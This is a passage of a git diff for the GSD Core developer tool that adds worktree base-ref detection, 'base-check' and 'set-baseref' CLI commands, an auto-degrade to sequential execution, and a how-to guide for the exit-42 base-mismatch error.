Claude Code worktrees (forks phase worktrees off HEAD; #683)`); + } + } + } + // When worktreesEnabled is false: do nothing, print nothing (both fresh and upgrade). + } + persistActiveProfileMarker(); return { settingsPath, diff --git a/docs/CLI-TOOLS.md b/docs/CLI-TOOLS.md index 79d55434c..27e774b51 100644 --- a/docs/CLI-TOOLS.md +++ b/docs/CLI-TOOLS.md @@ -421,6 +421,34 @@ node gsd-tools.cjs websearch [--limit N] [--freshness day|week|month] --- +## Worktree Commands + +Diagnose and configure the worktree fork base used by Claude Code's `isolation="worktree"` executor dispatch. These commands address the branch-divergence condition described in [Fix the worktree base-mismatch (exit 42) error](how-to/fix-worktree-base-mismatch.md). + +```bash +# Check whether the current HEAD has diverged from the worktree fork base. +# Returns JSON: { shouldDegrade, reason, message, headSha, forkRef, forkSha } +node gsd-tools.cjs worktree base-check + +# Write worktree.baseRef:"head" into .claude/settings.local.json (no-clobber). +# Returns JSON: { changed, skipped, previous, baseRef, file } +node gsd-tools.cjs worktree set-baseref +``` + +**`worktree base-check`** reads `worktree.baseRef` from `.claude/settings.local.json` (then `.claude/settings.json`) and compares the current `HEAD` SHA against `origin/HEAD`. The `shouldDegrade` field is `true` when the execute-phase orchestrator will fall back to sequential execution. Possible `reason` values: + +| `reason` | `shouldDegrade` | Meaning | +|---|---|---| +| `baseref-head` | `false` | `worktree.baseRef:"head"` is set; no mismatch possible | +| `head-matches-fork` | `false` | HEAD and `origin/HEAD` are the same commit | +| `head-diverged-from-fork` | `true` | Branch is ahead of or diverged from `origin/HEAD` | +| `fork-ref-unknown` | `true` | `origin/HEAD` could not be resolved | +| `no-head` | `false` | Not in a git repo (no `HEAD`) | + +**`worktree set-baseref`** applies a no-clobber write of `worktree.baseRef:"head"` to `.claude/settings.local.json`. If the file already contains an explicit `baseRef` value other than `"head"`, the existing value is preserved and `skipped:"explicit-other"` is returned. Malformed JSON causes an error rather than a silent overwrite. Both fresh installs and upgrades of GSD Core run this automatically when `workflow.use_worktrees` is enabled (the default); the command is also available for manual use — for example, to apply the setting when worktrees were toggled on after installation, or to re-apply it after a settings change. + +--- + ## Graphify Build, query, and inspect the project knowledge graph in `.planning/graphs/`. Requires `graphify.enabled: true` in `config.json` (see [Configuration Reference](CONFIGURATION.md#graphify-settings)). @@ -471,6 +499,7 @@ User-facing entry point: `/gsd-graphify` (see [Command Reference](COMMANDS.md#gs | Audit | `lib/audit.cjs` | Phase/milestone audit queue handlers; `audit-open` helper | | GSD2 Import | `lib/gsd2-import.cjs` | Reverse-migration importer from GSD-2 projects (backs `/gsd-import --from-gsd2`) | | Intel | `lib/intel.cjs` | Queryable codebase intelligence index (backs `/gsd-map-codebase --query`) | +| Worktree Base Ref | `lib/worktree-base-ref.cjs` | Worktree fork-base detection and `worktree base-check` / `set-baseref` commands (#683) | --- @@ -498,4 +527,5 @@ API keys configured via `/gsd-settings` (`brave_search`, `firecrawl`, `exa_searc - [Commands](COMMANDS.md) - [Configuration](CONFIGURATION.md) - [Architecture](ARCHITECTURE.md) +- [Fix the worktree base-mismatch (exit 42) error](how-to/fix-worktree-base-mismatch.md) - [docs index](README.md) diff --git a/docs/CONFIGURATION.md b/docs/CONFIGURATION.md index e6ba53b4b..3a941fb67 100644 --- a/docs/CONFIGURATION.md +++ b/docs/CONFIGURATION.md @@ -245,7 +245,7 @@ All workflow toggles follow the **absent = enabled** pattern. If a key is missin | `workflow.max_discuss_passes` | number | `3` | Maximum number of question rounds in discuss-phase before the workflow stops asking. Useful in headless/auto mode to prevent infinite discussion loops. | | `workflow.skip_discuss` | boolean | `false` | When `true`, `/gsd-autonomous` bypasses the discuss-phase entirely, writing minimal CONTEXT.md from the ROADMAP phase goal. Useful for projects where developer preferences are fully captured in PROJECT.md/REQUIREMENTS.md. Added in v1.28 | | `workflow.text_mode` | boolean | `false` | Replaces AskUserQuestion TUI menus with plain-text numbered lists. Required for Claude Code remote sessions (`/rc` mode) where TUI menus don't render. Can also be set per-session with `--text` flag on discuss-phase. Added in v1.28 | -| `workflow.use_worktrees` | boolean | `true` | When `false`, disables git worktree isolation for parallel execution. Users who prefer sequential execution or whose environment does not support worktrees can disable this. Added in v1.31 | +| `workflow.use_worktrees` | boolean | `true` | When `false`, disables git worktree isolation for parallel execution. Users who prefer sequential execution or whose environment does not support worktrees can disable this. Added in v1.31. **Branch-divergence note:** when your branch is ahead of `origin/HEAD`, GSD auto-degrades to sequential and prints a warning. Set `worktree.baseRef:"head"` in `.claude/settings.local.json` (run `node gsd-tools.cjs worktree set-baseref`) to restore parallel execution. See [Fix the worktree base-mismatch (exit 42) error](how-to/fix-worktree-base-mismatch.md). | | `workflow.worktree_skip_hooks` | boolean | `false` | When `true`, executor agents in worktree mode pass `--no-verify` (skipping pre-commit hooks) and post-wave hook validation runs against the merged result instead. Opt-in escape hatch for projects whose hooks cannot run in agent worktrees. Default `false` runs hooks on every commit (#2924). | | `workflow.code_review` | boolean | `true` | Enable `/gsd-code-review` and `/gsd-code-review --fix` commands. When `false`, the commands exit with a configuration gate message. Added in v1.34 | | `workflow.code_review_depth` | string | `standard` | Default review depth for `/gsd-code-review`: `quick` (pattern-matching only), `standard` (per-file analysis), or `deep` (cross-file with import graphs). Can be overridden per-run with `--depth=`. Added in v1.34 | diff --git a/docs/INVENTORY-MANIFEST.json b/docs/INVENTORY-MANIFEST.json index 4abfd5dcb..60a574eaf 100644 --- a/docs/INVENTORY-MANIFEST.json +++ b/docs/INVENTORY-MANIFEST.json @@ -1,5 +1,5 @@ { - "generated": "2026-06-06", + "generated": "2026-06-07", "families": { "agents": [ "gsd-advisor-researcher", @@ -350,6 +350,7 @@ "workstream-inventory.cjs", "workstream-name-policy.cjs", "workstream.cjs", + "worktree-base-ref.cjs", "worktree-safety.cjs" ], "hooks": [ diff --git a/docs/INVENTORY.md b/docs/INVENTORY.md index e346ed83a..2dcfcb039 100644 --- a/docs/INVENTORY.md +++ b/docs/INVENTORY.md @@ -370,7 +370,7 @@ The `gsd-planner` agent is decomposed into a core agent plus reference modules t --- -## CLI Modules (86 shipped) +## CLI Modules (87 shipped) Full listing: `gsd-core/bin/lib/*.cjs`. @@ -461,6 +461,7 @@ Full listing: `gsd-core/bin/lib/*.cjs`. | `workstream-inventory.cjs` | Shared workstream inventory projection: state fields, phase/plan/summary counts, roadmap phase count, and active marker — thin orchestrator that delegates pure projection to `workstream-inventory-builder.cjs` | | `workstream-name-policy.cjs` | Canonical workstream name validation (`isValidActiveWorkstreamName`, `hasInvalidPathSegment`, `validateWorkstreamName`) and slug normalization (`toWorkstreamSlug`) | | `workstream.cjs` | Workstream CRUD, migration, session-scoped active pointer | +| `worktree-base-ref.cjs` | Worktree base-ref drift detection and degrade decision (`evaluateWorktreeBaseDegrade`) plus no-clobber `worktree.baseRef` settings management for the `base-check`/`set-baseref` subcommands (#683) | | `worktree-safety.cjs` | Worktree-root resolution and non-destructive prune policy decisions; owns W017 health-check logic | [`docs/CLI-TOOLS.md`](CLI-TOOLS.md) may describe a subset of these modules; when it disagrees with the filesystem, this table and the directory listing are authoritative. diff --git a/docs/README.md b/docs/README.md index e86925c66..79d835975 100644 --- a/docs/README.md +++ b/docs/README.md @@ -33,6 +33,7 @@ Language versions: [English](README.md) · [Português (pt-BR)](pt-BR/README.md) - [Migrate from GSD 2](how-to/migrate-from-gsd-2.md) — upgrade an existing GSD 2 project to GSD Core - [Update GSD](how-to/update-gsd.md) — re-run the installer to pick up the latest release - [Clean up get-shit-done-cc](cleanup-get-shit-done-cc.md) — remove leftover old-package artifacts that cause a spurious `⬆ /gsd:update` indicator after migrating to `@opengsd/gsd-core` +- [Fix the worktree base-mismatch (exit 42) error](how-to/fix-worktree-base-mismatch.md) — resolve the branch-divergence condition that halts parallel phase execution - [Recover and troubleshoot](how-to/recover-and-troubleshoot.md) — fix common problems, rebuild context, and uninstall --- diff --git a/docs/how-to/fix-worktree-base-mismatch.md b/docs/how-to/fix-worktree-base-mismatch.md new file mode 100644 index 000000000..16b445198 --- /dev/null +++ b/docs/how-to/fix-worktree-base-mismatch.md @@ -0,0 +1,143 @@ +# How to fix the worktree base-mismatch (exit 42) error + +**Goal:** Understand why `/gsd-execute-phase` halts with `FATAL: worktree base mismatch` / exit 42 when your branch is ahead of the default branch, and choose the right fix to restore normal — or parallel — execution. + +**Prerequisites:** GSD Core is installed and you have an active project. You have run `/gsd-execute-phase` and either seen the exit-42 error or the one-line `⚠ Worktree base mismatch` warning. + +--- + +## What you will see + +When you run `/gsd-execute-phase` on a branch that is ahead of the repository's default branch (for example, an unmerged milestone branch, a long-lived feature branch, or a branch with commits not yet in `origin/HEAD`), you may see one of two messages: + +**Automatic-degrade warning (phase still completes):** + +``` +⚠ Worktree base mismatch: HEAD (abc12345) differs from origin/HEAD (def67890). +Running this phase sequentially on the main working tree. +To keep parallel worktrees, set worktree.baseRef:"head" in +.claude/settings.local.json (or run: gsd-tools worktree set-baseref). See #683. +``` + +The phase runs to completion sequentially; nothing is blocked. This is the runtime mitigation. + +**Exit-42 halt (older installs or misconfigured environments):** + +``` +FATAL: worktree base mismatch +``` + +All worktree-isolated executors halt immediately. Zero progress is made. + +--- + +## Why this happens + +Claude Code's `isolation="worktree"` forks executor worktrees from the repository's default branch (`origin/HEAD`), not from your current `HEAD`. When your branch contains commits that `origin/HEAD` does not have — plan files, new source files, anything added since the branch diverged — those files are absent inside each worktree. GSD's `worktree-branch-check` safety guard correctly refuses to act on a worktree that does not match the orchestrator's state, and exits with code 42. + +This is the guard working as designed: it prevents silent data loss or phantom edits in the wrong tree. The error is a branch-state condition, not an OS-specific or hardware issue. + +--- + +## Option 1 — Do nothing (you are already unblocked) + +If you saw the `⚠ Worktree base mismatch` warning rather than an exit-42 halt, GSD has already automatically degraded to sequential execution on the main working tree for this run. The phase will complete. No action is required. + +Use this option when: + +- You are on a diverged branch temporarily +- You do not care about parallel execution for this phase +- You want to merge back to the default branch soon + +--- + +## Option 2 — Permanent fix: set `worktree.baseRef: "head"` (recommended) + +This option restores parallel worktree execution on diverged branches. It tells Claude Code to fork executor worktrees from your current `HEAD` instead of `origin/HEAD`, so the plan files and branch-only commits are present in every worktree. + +Run the convenience command from your project root: + +```bash +node "$HOME/.claude/gsd-core/bin/gsd-tools.cjs" worktree set-baseref +``` + +This writes `worktree.baseRef: "head"` into `.claude/settings.local.json` in your project root. It is no-clobber: if you already have an explicit `baseRef` set to something else, it leaves your value in place and tells you. + +To verify the result: + +```bash +node "$HOME/.claude/gsd-core/bin/gsd-tools.cjs" worktree base-check +``` + +The output is JSON. When `shouldDegrade` is `false` and `reason` is `"baseref-head"`, parallel worktrees will work on any branch. + +Alternatively, set the value by hand in `.claude/settings.local.json`: + +```json +{ + "worktree": { + "baseRef": "head" + } +} +``` + +**Note:** Fresh installs and upgrades of GSD Core both set `worktree.baseRef:"head"` automatically in `.claude/settings.local.json` (no-clobber) when `workflow.use_worktrees` is enabled (the default). You can also apply or re-apply it manually at any time with `gsd-tools worktree set-baseref` — for example, if you toggled worktrees on after the initial install. + +Use this option when: + +- You regularly work on long-lived or milestone branches +- You want parallel phase execution (faster, lower context-window pressure) +- You are a solo developer or team working on a feature branch for an extended period + +--- + +## Option 3 — Fallback: disable worktrees entirely + +If worktrees are causing persistent problems beyond the base-mismatch (for example, your environment does not support them), disable them permanently for this project: + +Add or edit `.planning/config.json`: + +```json +{ + "workflow": { + "use_worktrees": false + } +} +``` + +All executor agents will then run sequentially on the main working tree for every phase. This is equivalent to what the automatic degrade does, but permanent. + +Use this option when: + +- Worktrees are consistently problematic in your environment +- You prefer sequential execution for auditability or tooling reasons +- You are on a platform or CI setup that does not support git worktrees + +See also: [`workflow.use_worktrees`](../CONFIGURATION.md#workflow-toggles) in the configuration reference. + +--- + +## The exit-42 backstop + +The `worktree-branch-check` guard (exit 42) remains active in all execution modes as a safety backstop. It fires only when an executor worktree's branch does not match the expected orchestrator state — a condition that should not arise once you have applied one of the options above. If you continue to see exit 42 after setting `worktree.baseRef: "head"`, run `/gsd-forensics` to investigate. + +--- + +## Summary + +| Situation | Recommended action | +|-----------|-------------------| +| Saw the warning, phase completed | Nothing — degrade handled it automatically | +| Regularly on diverged branches, want parallel execution | `worktree set-baseref` (Option 2) | +| Worktrees consistently problematic | Set `workflow.use_worktrees: false` (Option 3) | +| Still seeing exit 42 after fixes | Run `/gsd-forensics "exit 42 after fix"` | + +--- + +## Related + +- [Recover and troubleshoot](recover-and-troubleshoot.md) +- [Debug a failed execution](debug-a-failed-execution.md) +- [Configuration reference — workflow toggles](../CONFIGURATION.md#workflow-toggles) +- [CLI Tools reference — worktree commands](../CLI-TOOLS.md#worktree-commands) +- [docs index](../README.md) diff --git a/docs/how-to/recover-and-troubleshoot.md b/docs/how-to/recover-and-troubleshoot.md index 7ff21feb2..3e0cf8e6f 100644 --- a/docs/how-to/recover-and-troubleshoot.md +++ b/docs/how-to/recover-and-troubleshoot.md @@ -153,6 +153,18 @@ Check whether the plan is too ambitious. Plans should have two or three tasks at For systematic diagnosis of what went wrong, see [Debug a failed execution](debug-a-failed-execution.md). +### If you see "FATAL: worktree base mismatch" or the exit-42 warning + +This happens when your current branch is ahead of the repository's default branch (for example, an unmerged milestone or feature branch). Claude Code forks executor worktrees from `origin/HEAD`, not your `HEAD`, so plan files that exist only on your branch are absent inside the worktree. + +Since the fix landed, GSD automatically degrades to sequential execution on the main working tree and prints a one-line warning — the phase will complete without any action from you. To restore parallel execution permanently, run: + +```bash +node "$HOME/.claude/gsd-core/bin/gsd-tools.cjs" worktree set-baseref +``` + +For a full explanation and all available options, see [Fix the worktree base-mismatch (exit 42) error](fix-worktree-base-mismatch.md). + ### If parallel execution causes build lock errors or pre-commit hook failures This is caused by multiple agents triggering build tools simultaneously. GSD handles this automatically since v1.26. If you are on an older version, or still seeing contention, disable parallel execution: @@ -312,12 +324,14 @@ Also audit which MCP servers are enabled. Every enabled MCP server injects its t | Update broke local changes | `/gsd-update --reapply` | | Want session summary | `/gsd-pause-work --report` | | Parallel execution build errors | Update GSD or set `parallelization.enabled: false` | +| Worktree base mismatch / exit 42 | Auto-degraded to sequential (no action needed); run `worktree set-baseref` to restore parallelism | --- ## Related - [Debug a failed execution](debug-a-failed-execution.md) +- [Fix the worktree base-mismatch (exit 42) error](fix-worktree-base-mismatch.md) - [Install on your runtime](install-on-your-runtime.md) - [Commands](../COMMANDS.md) - [docs index](../README.md) diff --git a/eslint.config.mjs b/eslint.config.mjs index ccd7a87ca..1b0afc718 100644 --- a/eslint.config.mjs +++ b/eslint.config.mjs @@ -83,6 +83,7 @@ export default tseslint.config( 'gsd-core/bin/lib/intel.cjs', 'gsd-core/bin/lib/installer-migrations.cjs', 'gsd-core/bin/lib/worktree-safety.cjs', + 'gsd-core/bin/lib/worktree-base-ref.cjs', 'gsd-core/bin/lib/planning-workspace.cjs', 'gsd-core/bin/lib/runtime-artifact-layout.cjs', 'gsd-core/bin/lib/command-routing-hub.cjs', diff --git a/gsd-core/bin/gsd-tools.cjs b/gsd-core/bin/gsd-tools.cjs index d12f9e69c..db20742c9 100755 --- a/gsd-core/bin/gsd-tools.cjs +++ b/gsd-core/bin/gsd-tools.cjs @@ -1232,8 +1232,12 @@ async function runCommand(command, args, cwd, raw, defaultValue, originalCommand worktreeSafety.cmdWorktreeCleanupWave(cwd, args.slice(2)); } else if (subcommand === 'reap-orphans') { worktreeSafety.cmdWorktreeReapOrphans(cwd); + } else if (subcommand === 'base-check') { + require('./lib/worktree-base-ref.cjs').cmdWorktreeBaseCheck(cwd, args.slice(2)); + } else if (subcommand === 'set-baseref') { + require('./lib/worktree-base-ref.cjs').cmdWorktreeSetBaseRef(cwd, args.slice(2)); } else { - error('Unknown worktree subcommand. Available: cleanup-wave, reap-orphans', ERROR_REASON.SDK_UNKNOWN_COMMAND); + error('Unknown worktree subcommand. Available: cleanup-wave, reap-orphans, base-check, set-baseref', ERROR_REASON.SDK_UNKNOWN_COMMAND); } break; } diff --git a/gsd-core/references/planning-config.md b/gsd-core/references/planning-config.md index 3de0bb514..d932968f8 100644 --- a/gsd-core/references/planning-config.md +++ b/gsd-core/references/planning-config.md @@ -34,7 +34,7 @@ Configuration options for `.planning/` directory behavior. | `git.phase_branch_template` | `"gsd/phase-{phase}-{slug}"` | Branch template for phase strategy | | `git.milestone_branch_template` | `"gsd/{milestone}-{slug}"` | Branch template for milestone strategy | | `git.quick_branch_template` | `null` | Optional branch template for quick-task runs | -| `workflow.use_worktrees` | `true` | Whether executor agents run in isolated git worktrees. Set to `false` to disable worktrees — agents execute sequentially on the main working tree instead. Recommended for solo developers or when worktree merges cause issues. | +| `workflow.use_worktrees` | `true` | Whether executor agents run in isolated git worktrees. Set to `false` to disable worktrees — agents execute sequentially on the main working tree instead. Recommended for solo developers or when worktree merges cause issues. Note: if your branch is ahead of `origin/HEAD` (a diverged milestone or feature branch), GSD auto-degrades to sequential and prints a warning; set `worktree.baseRef:"head"` in `.claude/settings.local.json` to restore parallel execution. See the branch-divergence note below. | | `workflow.subagent_timeout` | `300000` | Timeout in milliseconds for parallel subagent tasks (e.g. codebase mapping). Increase for large codebases or slower models. Default: 300000 (5 minutes). | | `workflow.inline_plan_threshold` | `2` | Plans with this many tasks or fewer execute inline (Pattern C) instead of spawning a subagent. Avoids ~14K token spawn overhead for small plans. Set to `0` to always spawn subagents. | | `manager.flags.discuss` | `""` | Flags passed to `/gsd:discuss-phase` when dispatched from manager (e.g. `"--auto --analyze"`) | @@ -385,6 +385,8 @@ Several config fields affect each other or trigger special behavior: 8. **`sub_repos` auto-sync** -- On every config load, GSD scans for child directories with `.git` and updates the `sub_repos` array if the filesystem has changed. Legacy `multiRepo: true` is automatically migrated to a detected `sub_repos` array. +9. **`workflow.use_worktrees` and branch divergence** -- When `use_worktrees` is `true` (default), executor worktrees are forked from `origin/HEAD` by the Claude Code harness. If your current branch has commits that `origin/HEAD` does not (for example an unmerged milestone or feature branch), GSD automatically degrades to sequential execution for that run and prints a one-line `⚠ Worktree base mismatch` warning. To restore parallel execution permanently, set `worktree.baseRef:"head"` in `.claude/settings.local.json` (run `node gsd-tools.cjs worktree set-baseref`). This makes the harness fork worktrees from the live HEAD instead of `origin/HEAD`. Both fresh installs and upgrades of GSD Core set this automatically (no-clobber) when `use_worktrees` is enabled; you can also run the command manually at any time. Setting `workflow.use_worktrees: false` is the alternative if worktrees are not needed at all. + --- ## Example Configurations diff --git a/gsd-core/workflows/execute-phase.md b/gsd-core/workflows/execute-phase.md index b1af74812..a0c3c89d5 100644 --- a/gsd-core/workflows/execute-phase.md +++ b/gsd-core/workflows/execute-phase.md @@ -92,6 +92,16 @@ if [ "$RUNTIME" = "codex" ] && [ "$USE_WORKTREES" != "false" ]; then fi # Sweep orphaned locked worktrees from prior crashed sessions before spawning executors (#3707). [ "$USE_WORKTREES" != "false" ] && gsd_run query worktree.reap-orphans 2>/dev/null || true +# Auto-degrade to sequential if HEAD has diverged from the worktree fork base (#683). +# Only applies to Claude Code (isolation="worktree" is Claude-Code-specific). +if [ "$RUNTIME" = "claude" ] && [ "$USE_WORKTREES" != "false" ]; then + _SHOULD_DEGRADE=$(gsd_run query worktree.base-check --pick shouldDegrade 2>/dev/null || true) + if [ "$_SHOULD_DEGRADE" = "true" ]; then + _DEGRADE_MSG=$(gsd_run query worktree.base-check --pick message 2>/dev/null || true) + [ -n "$_DEGRADE_MSG" ] && printf '%s\n' "$_DEGRADE_MSG" >&2 + USE_WORKTREES=false + fi +fi ``` Codex maps subagents to `spawn_agent`, which has no direct Codex mapping for Claude Code's `isolation="worktree"` parameter. Failing closed prevents main-checkout edits while the workflow believes agents are isolated. @@ -111,6 +121,8 @@ fi When `USE_WORKTREES` (project-level) is `false`, all executor agents run without `isolation="worktree"` — they execute sequentially on the main working tree instead of in parallel worktrees. The per-plan decision below has no effect when worktrees are project-disabled. +`USE_WORKTREES` is also automatically set to `false` for the duration of a run when `worktree base-check` detects that the orchestrator HEAD has diverged from the worktree fork base (the #683 condition — e.g. an unmerged milestone or feature branch). This check runs only when `RUNTIME=claude` because `isolation="worktree"` is a Claude Code-specific feature; other runtimes do not use it. The auto-degrade prints a one-line warning to stderr and falls through to the sequential path so executors do not hit the exit-42 worktree-branch-check halt. To restore parallel worktree execution, set `worktree.baseRef:"head"` in `.claude/settings.local.json` (or run `gsd-tools worktree set-baseref`) — this makes the fork base track the live HEAD instead of a fixed remote ref. The `worktree-branch-check` exit-42 guard inside each executor remains in place as a backstop. + Read context window size for adaptive prompt enrichment: ```bash diff --git a/src/worktree-base-ref.cts b/src/worktree-base-ref.cts new file mode 100644 index 000000000..47dab4315 --- /dev/null +++ b/src/worktree-base-ref.cts @@ -0,0 +1,368 @@ +/** + * Worktree base-ref detection and degradation logic (issue #683). + * + * Determines whether a worktree's HEAD has drifted from the fork base that the + * Claude Code harness would use to create a 'fresh' parallel worktree. When + * drift is detected the caller should fall back to sequential execution on the + * main working tree to avoid a base mismatch. + * + * Pure/testable module: all I/O is injectable via the `deps` argument so unit + * tests can run without touching the real filesystem or spawning real git. + */ + +import fs from 'node:fs'; +import path from 'node:path'; + +import { execGit as execGitSeam } from './shell-command-projection.cjs'; + +// ─── Internal helpers ───────────────────────────────────────────────────────── + +/** + * Strip JSONC comments (line and block forms) from a string to produce valid JSON. + * Handles comments inside strings correctly (does not strip them). + * Mirrors the same logic in bin/install.js:stripJsonComments. + */ +function stripJsonComments(text: string): string { + let result = ''; + let i = 0; + let inString = false; + let stringChar = ''; + while (i < text.length) { + // Handle string literals — don't strip comments inside strings + if (inString) { + if (text[i] === '\\') { + result += text[i] + (text[i + 1] || ''); + i += 2; + continue; + } + if (text[i] === stringChar) { + inString = false; + } + result += text[i]; + i++; + continue; + } + // Start of string + if (text[i] === '"' || text[i] === "'") { + inString = true; + stringChar = text[i]; + result += text[i]; + i++; + continue; + } + // Line comment + if (text[i] === '/' && text[i + 1] === '/') { + // Skip to end of line + while (i < text.length && text[i] !== '\n') i++; + continue; + } + // Block comment + if (text[i] === '/' && text[i + 1] === '*') { + i += 2; + while (i < text.length && !(text[i] === '*' && text[i + 1] === '/')) i++; + i += 2; // skip closing */ + continue; + } + result += text[i]; + i++; + } + // Remove trailing commas before } or ] (common in JSONC) + return result.replace(/,\s*([}\]])/g, '$1'); +} + +/** + * Parse a string as JSONC (JSON with comments). Returns the parsed value or + * throws a SyntaxError if the content is genuinely malformed. + */ +function parseJsonc(text: string): unknown { + try { + return JSON.parse(text); + } catch { + return JSON.parse(stripJsonComments(text)); + } +} + +// ─── Internal types ─────────────────────────────────────────────────────────── + +type ExecGitFn = ( + args: string[], + opts?: { cwd?: string; env?: Record; timeout?: number } +) => { exitCode: number | null; stdout: string; stderr: string; signal: string | null; error: unknown }; + +// ─── Message constants (verbatim — downstream docs/tests depend on these) ───── + +function buildMsgDiverged(headSha: string | null, forkRef: string | null, forkSha: string | null): string { + return `⚠ Worktree base mismatch: HEAD (${shortSha(headSha)}) differs from ${forkRef} (${shortSha(forkSha)}). Running this phase sequentially on the main working tree. To keep parallel worktrees, set worktree.baseRef:"head" in .claude/settings.local.json (or run: gsd-tools worktree set-baseref). See #683.`; +} + +const MSG_UNKNOWN = `⚠ Cannot determine the worktree fork base (origin/HEAD unresolved). Running this phase sequentially on the main working tree to avoid a base mismatch. To keep parallel worktrees, set worktree.baseRef:"head" in .claude/settings.local.json (or run: gsd-tools worktree set-baseref). See #683.`; + +// ─── Exports ────────────────────────────────────────────────────────────────── + +/** + * Returns the first 8 characters of a SHA, or '' if null/empty. + */ +export function shortSha(sha: string | null): string { + if (!sha) return ''; + return sha.slice(0, 8); +} + +/** + * Extracts settings.worktree.baseRef if it is a string; otherwise null. + * Defensive: settings may be null/undefined, worktree may be missing or + * not an object. + */ +export function readBaseRefFromSettings(settings: unknown): string | null { + if (settings == null || typeof settings !== 'object') return null; + const s = settings as Record; + if (s.worktree == null || typeof s.worktree !== 'object' || Array.isArray(s.worktree)) return null; + const worktree = s.worktree as Record; + if (typeof worktree.baseRef !== 'string') return null; + return worktree.baseRef; +} + +/** + * No-clobber application of worktree.baseRef = 'head'. + * + * - If baseRef is absent/null/undefined → set to 'head', return changed:true. + * - If already 'head' → skip, return skipped:'already-head'. + * - If any other string → skip without overwriting, return skipped:'explicit-other'. + * + * Mutates `settings` in place and also returns it. + */ +export function applyWorktreeBaseRef(settings: Record): { + changed: boolean; + settings: object; + skipped: null | 'already-head' | 'explicit-other'; + previous: string | null; +} { + // Defensive: caller must pass a plain object — reject null, arrays, and primitives. + if (settings === null || Array.isArray(settings) || typeof settings !== 'object') { + throw new TypeError(`applyWorktreeBaseRef: expected a plain object, got ${settings === null ? 'null' : Array.isArray(settings) ? 'array' : typeof settings}`); + } + // Ensure worktree object exists, preserving any existing keys + if (settings.worktree == null || typeof settings.worktree !== 'object' || Array.isArray(settings.worktree)) { + settings.worktree = {}; + } + const worktree = settings.worktree as Record; + const current = typeof worktree.baseRef === 'string' ? worktree.baseRef : null; + + if (current === 'head') { + return { changed: false, settings, skipped: 'already-head', previous: 'head' }; + } + if (current !== null) { + // Some other explicit string value — don't overwrite + return { changed: false, settings, skipped: 'explicit-other', previous: current }; + } + // Absent/null/undefined → set to 'head' + worktree.baseRef = 'head'; + return { changed: true, settings, skipped: null, previous: null }; +} + +/** + * Reads settings.local.json then settings.json under claudeDir, extracts + * worktree.baseRef from the first file that provides a non-null string value. + * + * deps.readFile(path) must return the file contents or null on any error. + */ +export function resolveEffectiveBaseRef( + claudeDir: string, + deps?: { readFile?: (p: string) => string | null } +): string | null { + const readFile: (p: string) => string | null = deps?.readFile ?? ((p: string) => { + try { + return fs.readFileSync(p, 'utf8'); + } catch { + return null; + } + }); + + const localPath = path.join(claudeDir, 'settings.local.json'); + const sharedPath = path.join(claudeDir, 'settings.json'); + + function parseBaseRef(filePath: string): string | null { + const contents = readFile(filePath); + if (contents == null) return null; + try { + const parsed: unknown = parseJsonc(contents); + return readBaseRefFromSettings(parsed); + } catch { + return null; + } + } + + const localRef = parseBaseRef(localPath); + if (localRef !== null) return localRef; + + return parseBaseRef(sharedPath); +} + +/** + * CLI command: check current worktree base-ref degradation status. + * + * Reads effective baseRef from /.claude settings, runs degradation + * evaluation, writes JSON result to stdout (or injected write), and returns + * the result object. + */ +export function cmdWorktreeBaseCheck( + cwd: string, + _args: string[], + deps?: { execGit?: ExecGitFn; readFile?: (p: string) => string | null; write?: (s: string) => void } +): ReturnType { + const claudeDir = path.join(cwd, '.claude'); + const effectiveBaseRef = resolveEffectiveBaseRef( + claudeDir, + deps?.readFile ? { readFile: deps.readFile } : undefined + ); + const result = evaluateWorktreeBaseDegrade({ + cwd, + effectiveBaseRef, + execGit: deps?.execGit, + }); + const write = deps?.write ?? ((s: string) => process.stdout.write(s)); + write(JSON.stringify(result, null, 2) + '\n'); + return result; +} + +/** + * CLI command: write worktree.baseRef = 'head' into /.claude/settings.local.json. + * + * No-clobber: if the file already has an explicit baseRef that is not 'head', + * the existing value is preserved and output reflects skipped:'explicit-other'. + * If the file contains malformed JSON, throws a clear error rather than + * silently clobbering the user's file. + */ +export function cmdWorktreeSetBaseRef( + cwd: string, + _args: string[], + deps?: { + readFile?: (p: string) => string | null; + writeFile?: (p: string, content: string) => void; + mkdir?: (p: string, opts: { recursive: boolean }) => void; + existsSync?: (p: string) => boolean; + write?: (s: string) => void; + } +): { changed: boolean; skipped: null | 'already-head' | 'explicit-other'; previous: string | null; file: string; baseRef: string } { + const file = path.join(cwd, '.claude', 'settings.local.json'); + const readFile: (p: string) => string | null = deps?.readFile ?? + ((p: string) => { try { return fs.readFileSync(p, 'utf8'); } catch { return null; } }); + + const raw = readFile(file); + let settings: Record = {}; + if (raw != null) { + let parsed: unknown; + try { + parsed = parseJsonc(raw); + } catch { + throw new Error(`Refusing to modify ${file}: existing JSON is malformed`); + } + if (parsed === null || Array.isArray(parsed) || typeof parsed !== 'object') { + throw new Error(`Refusing to modify ${file}: expected a JSON object at the top level`); + } + settings = parsed as Record; + } + + const apply = applyWorktreeBaseRef(settings); + + if (apply.changed) { + const dir = path.dirname(file); + const existsSync: (p: string) => boolean = deps?.existsSync ?? fs.existsSync; + const mkdirFn: (p: string, opts: { recursive: boolean }) => void = deps?.mkdir ?? + ((p: string, opts: { recursive: boolean }) => { fs.mkdirSync(p, opts); }); + if (!existsSync(dir)) { + mkdirFn(dir, { recursive: true }); + } + const writeFile: (p: string, content: string) => void = deps?.writeFile ?? + ((p: string, content: string) => { fs.writeFileSync(p, content, 'utf8'); }); + writeFile(file, JSON.stringify(settings, null, 2) + '\n'); + } + + const output = { + changed: apply.changed, + skipped: apply.skipped, + previous: apply.previous, + baseRef: 'head' as const, + file, + }; + const write = deps?.write ?? ((s: string) => process.stdout.write(s)); + write(JSON.stringify(output, null, 2) + '\n'); + return output; +} + +/** + * Evaluates whether the current worktree HEAD has diverged from the fork base + * (origin/HEAD) that the Claude Code harness would use when creating a 'fresh' + * parallel worktree. + * + * Returns a structured result with shouldDegrade, reason, and a user-visible + * message when degradation is warranted. + */ +export function evaluateWorktreeBaseDegrade(deps?: { + execGit?: ExecGitFn; + effectiveBaseRef?: string | null; + cwd?: string; +}): { + shouldDegrade: boolean; + reason: string; + message: string | null; + headSha: string | null; + forkRef: string | null; + forkSha: string | null; +} { + const execGit: ExecGitFn = deps?.execGit ?? execGitSeam; + const cwd = deps?.cwd; + const cwdOpts = cwd ? { cwd } : {}; + + // a. If baseRef is explicitly 'head' the harness forks from HEAD — no mismatch possible. + // Claude Code's worktree.baseRef accepts only "fresh" (= origin/HEAD, the default) or "head". + // Therefore special-casing "head" here and otherwise comparing HEAD against origin/HEAD is + // complete: any non-"head" value (including "fresh" and 